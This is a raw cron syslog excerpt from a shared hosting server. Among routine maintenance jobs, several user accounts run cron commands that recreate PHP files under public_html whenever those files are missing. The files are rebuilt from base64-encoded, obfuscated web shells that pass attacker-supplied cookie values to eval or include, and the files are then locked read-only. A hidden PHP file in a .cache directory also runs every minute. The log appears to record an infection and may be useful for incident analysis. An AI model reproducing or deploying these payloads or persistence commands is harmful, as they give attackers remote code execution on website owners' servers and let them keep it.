pnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:57:01 medusa CROND[26693]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:57:01 medusa CROND[26695]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:58:01 medusa CROND[12751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:58:01 medusa CROND[12959]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:58:01 medusa CROND[12961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:58:01 medusa CROND[12962]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:58:01 medusa CROND[12964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 16:58:01 medusa CROND[12965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:58:01 medusa CROND[12966]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:58:01 medusa CROND[12968]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:58:01 medusa CROND[12969]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:58:01 medusa CROND[12970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:58:01 medusa CROND[12971]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:58:01 medusa CROND[12977]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:58:01 medusa CROND[12980]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:58:01 medusa CROND[12981]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:59:01 medusa CROND[31916]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:59:01 medusa CROND[31965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:59:01 medusa CROND[32068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:59:01 medusa CROND[32069]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:59:01 medusa CROND[32071]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:59:01 medusa CROND[32070]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:59:01 medusa CROND[32073]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:59:01 medusa CROND[32074]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:59:01 medusa CROND[32076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:59:01 medusa CROND[32087]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:59:01 medusa CROND[32081]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:59:01 medusa CROND[32094]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:00:01 medusa CROND[19200]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 17:00:01 medusa CROND[19244]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 17:00:02 medusa CROND[19638]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 17:00:02 medusa CROND[19639]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 17:00:02 medusa CROND[19640]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 17:00:02 medusa CROND[19641]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
